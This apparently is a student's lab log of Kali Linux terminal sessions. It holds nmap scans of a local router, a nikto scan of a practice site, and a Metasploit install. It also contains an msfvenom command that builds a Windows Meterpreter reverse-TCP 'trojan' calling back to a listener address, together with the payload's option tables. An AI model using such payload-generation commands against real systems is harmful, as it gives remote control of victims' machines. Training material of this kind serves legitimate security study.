

Experiments 1-11

```
(kali㉿kali)-[~]  
$ nmap -sA 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 00:59 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.00013s latency).  
All 1000 scanned ports on 192.168.1.1 are in ignored states.  
Not shown: 1000 unfiltered tcp ports (reset)  
  
Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds  
  
(kali㉿kali)-[~]  
$ nmap -Pn 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 00:59 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0067s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
80/tcp    open  http  
443/tcp   open  https  
  
Nmap done: 1 IP address (1 host up) scanned in 4.07 seconds  
  
(kali㉿kali)-[~]  
$ nmap -sn 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:00 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0043s latency).  
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds  
  
(kali㉿kali)-[~]  
$ nmap -PR 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:00 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0023s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
80/tcp    open  http  
443/tcp   open  https  
  
Nmap done: 1 IP address (1 host up) scanned in 4.40 seconds  
  
(kali㉿kali)-[~]  
$ nmap -n 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:00 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0025s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE
```



```
(root@kali)-[~]
# nikto -h www.certifiedhacker.com -Cgidirs all
- Nikto v2.1.6

+ Target IP: 162.241.216.11
+ Target Hostname: www.certifiedhacker.com
+ Target Port: 80
+ Start Time: 2023-01-28 22:53:40 (GMT-5)

+ Server: Apache
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to p
f XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render
a different fashion to the MIME type
```

```
# cd /usr/share/metasploit-framework/
# gem install bundler
Successfully installed bundler-2.4.5
Parsing documentation for bundler-2.4.5
Done installing documentation for bundler after 0 seconds
1 gem installed

# bundle install
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this application for all non-root users on this machine.
Using rake 13.0.6
Using Ascii85 1.1.0
Using concurrent-ruby 1.0.5
Using i18n 1.12.0
Using minitest 5.16.3
Using tzinfo 2.0.5
Using zeitwerk 2.6.6
Using activerecord 6.1.7
Using builder 3.2.4
Using erubi 1.12.0
Using racc 1.6.0
Using nokogiri 1.12.9 (x86_64-linux)
Using rails-dom-testing 2.0.3
Using crass 1.0.6
Using loofah 2.19.0
Using rails-html-sanitizer 1.4.3
Using actionview 6.1.7
Using rack 2.2.4
Using rack-test 2.0.2
Using actionpack 6.1.7
Using nio4r 2.5.8
Using websocket-extensions 0.1.5
Using websocket-driver 0.7.5
Using actionable 6.1.7
Using globalid 1.0.0
Using activejob 6.1.7
Using activemodel 6.1.7
Using activerecord 6.1.7
Using marcel 1.0.2
Using mini_mime 1.3.2
Using activestorage 6.1.7
Using mail 2.7.1
Using actionmailbox 6.1.7
Using actionmailer 6.1.7
Using actiontext 6.1.7
Using public_suffix 5.0.0
Using addressable 2.8.1
Using ome 8.2.2
Using sord 2.14.0
```

```
(root@kali)-[/usr/share/metasploit-framework]
# cd /root

# msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST<IP> -f exe -o payload.exe

Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, ar
chs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify
'-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: ra
ndom 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encryp
t to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prep
ending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30,
0 to disable)
-h, --help Show this message
```

```
(root@kali)~# msfvenom --list-options -p windows/meterpreter/reverse_tcp
Options for payload/windows/meterpreter/reverse_tcp:

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total Size: 296
Rank: Normal

Provided by:
skape <smiller@hick.org>
sf <stephen_fewer@harmonysecurity.com>
OJ Reeves
hdm <x@hdm.io>

Basic options:


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    |                 | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |


Description:
Inject the Meterpreter server DLL via the Reflective DLL Injection
payload (staged). Requires windows XP SP2 or newer. Connect back to
the attacker

Advanced options for payload/windows/meterpreter/reverse_tcp:


| Name                     | Current Setting | Required | Description                                                                    |
|--------------------------|-----------------|----------|--------------------------------------------------------------------------------|
| AutoLoadStdapi           | true            | yes      | Automatically load the Stdapi extension                                        |
| AutoRunScript            |                 | no       | A script to run automatically on session creation.                             |
| AutoSystemInfo           | true            | yes      | Automatically capture system information on initialization.                    |
| AutoUnhookProcess        | false           | yes      | Automatically load the unhook extension and unhook the process                 |
| AutoVerifySessionTimeout | 30              | no       | Timeout period to wait for session validation to occur, in seconds             |
| EnableStageEncoding      | false           | no       | Encode the second stage payload                                                |
| EnableUnicodeEncoding    | false           | yes      | Automatically encode UTF-8 strings as hexadecimal                              |
| HandlerSSLCert           |                 | no       | Path to a SSL certificate in unified PEM format, ignore if for HTTP transports |


```

```
(root@kali)~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.169.195 LPORT=4444 -f eve > trojan.eve
Error: invalid format: eve

Framework Executable Formats [--format <value>]


| Name              | Description                                       |
|-------------------|---------------------------------------------------|
| asp               | Active Server Pages (ASP) script                  |
| aspx              | ASP.NET script                                    |
| aspx-exe          | ASP.NET script compiled to executable             |
| axis2             | Axis2 web service                                 |
| dll               | Dynamic Link Library (DLL)                        |
| elf               | Executable and Linkable Format (ELF)              |
| elf-so            | ELF shared object                                 |
| exe               | Executable                                        |
| exe-only          | Executable, no dependencies                       |
| exe-service       | Executable, no dependencies, no GUI               |
| exe-small         | Executable, no dependencies, no GUI, small        |
| hta-psh           | HTML Application (HTA) with PowerShell            |
| jar               | Java Archive (JAR)                                |
| jsp               | Java Server Pages (JSP)                           |
| loop-vbs          | VBScript loop                                     |
| macho             | Mach-O                                            |
| msi               | Microsoft Installer (MSI)                         |
| msi-nouac         | MSI, no user interface                            |
| osx-app           | OS X Application                                  |
| psh               | PowerShell script                                 |
| psh-cmd           | PowerShell script, no GUI                         |
| psh-net           | PowerShell script, no GUI, no network             |
| psh-reflection    | PowerShell script, no GUI, no network, reflection |
| python-reflection | Python script, no GUI, no network, reflection     |
| vba               | Visual Basic Application (VBA)                    |
| vba-exe           | VBA, no dependencies                              |
| vba-psh           | VBA, no dependencies, no GUI                      |
| vbs               | VBScript                                          |
| war               | Web Archive (WAR)                                 |



Framework Transform Formats [--format <value>]


| Name   | Description     |
|--------|-----------------|
| base32 | Base32 encoding |
| base64 | Base64 encoding |


```

```

(kali@kali)-[~]
$ nmap -sS 192.168.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:09 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0013s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
Nmap done: 1 IP address (1 host up) scanned in 4.99 seconds

(kali@kali)-[~]
$ nmap -sT 192.168.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:09 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0063s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
Nmap done: 1 IP address (1 host up) scanned in 4.49 seconds

(kali@kali)-[~]
$ nmap -sU 192.168.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:09 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0012s latency).
All 1000 scanned ports on 192.168.1.1 are in ignored states.
Not shown: 1000 open|filtered udp ports (no-response)
Nmap done: 1 IP address (1 host up) scanned in 4.48 seconds

(kali@kali)-[~]
$ nmap -sA 192.168.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:10 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00011s latency).
All 1000 scanned ports on 192.168.1.1 are in ignored states.
Not shown: 1000 unfiltered tcp ports (reset)
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

(kali@kali)-[~]
$ nmap -p 1-20 192.168.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:10 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00074s latency).

```

```

(kali@kali)-[~]
$ nmap -p 1-20 192.168.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:10 EDT
Nmap scan report for 192.168.1.1
Host is up (0.00074s latency).

PORT      STATE SERVICE
1/tcp     filtered tcpmux
2/tcp     filtered compressnet
3/tcp     filtered compressnet
4/tcp     filtered unknown
5/tcp     filtered rje
6/tcp     filtered unknown
7/tcp     filtered echo
8/tcp     filtered unknown
9/tcp     filtered discard
10/tcp    filtered unknown
11/tcp    filtered systat
12/tcp    filtered unknown
13/tcp    filtered daytime
14/tcp    filtered unknown
15/tcp    filtered netstat
16/tcp    filtered unknown
17/tcp    filtered qotd
18/tcp    filtered msp
19/tcp    filtered chargen
20/tcp    filtered ftp-data

Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

(kali@kali)-[~]
$ nmap -p- 192.1868.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:10 EDT
Failed to resolve "192.1868.1.1".
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.33 seconds

(kali@kali)-[~]
$ nmap -F- 192.168.1.1
/usr/lib/nmap/nmap: invalid option -- '-'
See the output of nmap -h for a summary of options.

(kali@kali)-[~]
$ nmap -F 192.168.1.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:11 EDT
Nmap scan report for 192.168.1.1
Host is up (0.0040s latency).
Not shown: 98 filtered tcp ports (no-response)
PORT      STATE SERVICE

```

```
(kali㉿kali)-[~]  
$ nmap -F- 192.168.1.1  
/usr/lib/nmap/nmap: invalid option -- '-'  
See the output of nmap -h for a summary of options.  
  
(kali㉿kali)-[~]  
$ nmap -F 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:11 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0040s latency).  
Not shown: 98 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
80/tcp    open  http  
443/tcp   open  https  
  
Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds
```

```
(kali㉿kali)-[~]  
$ nmap -Pn 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:11 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.015s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
80/tcp    open  http  
443/tcp   open  https  
  
Nmap done: 1 IP address (1 host up) scanned in 6.44 seconds
```

```
(kali㉿kali)-[~]  
$ nmap -sn 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:12 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0010s latency).  
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
```

```
(kali㉿kali)-[~]  
$ nmap -PR 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:13 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0032s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
80/tcp    open  http  
443/tcp   open  https  
  
Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds
```

```
(kali㉿kali)-[~]  
$ nmap -n 192.168.1.1  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-22 01:13 EDT  
Nmap scan report for 192.168.1.1  
Host is up (0.0019s latency).  
Not shown: 998 filtered tcp ports (no-response)  
PORT      STATE SERVICE  
80/tcp    open  http  
443/tcp   open  https  
  
Nmap done: 1 IP address (1 host up) scanned in 4.51 seconds
```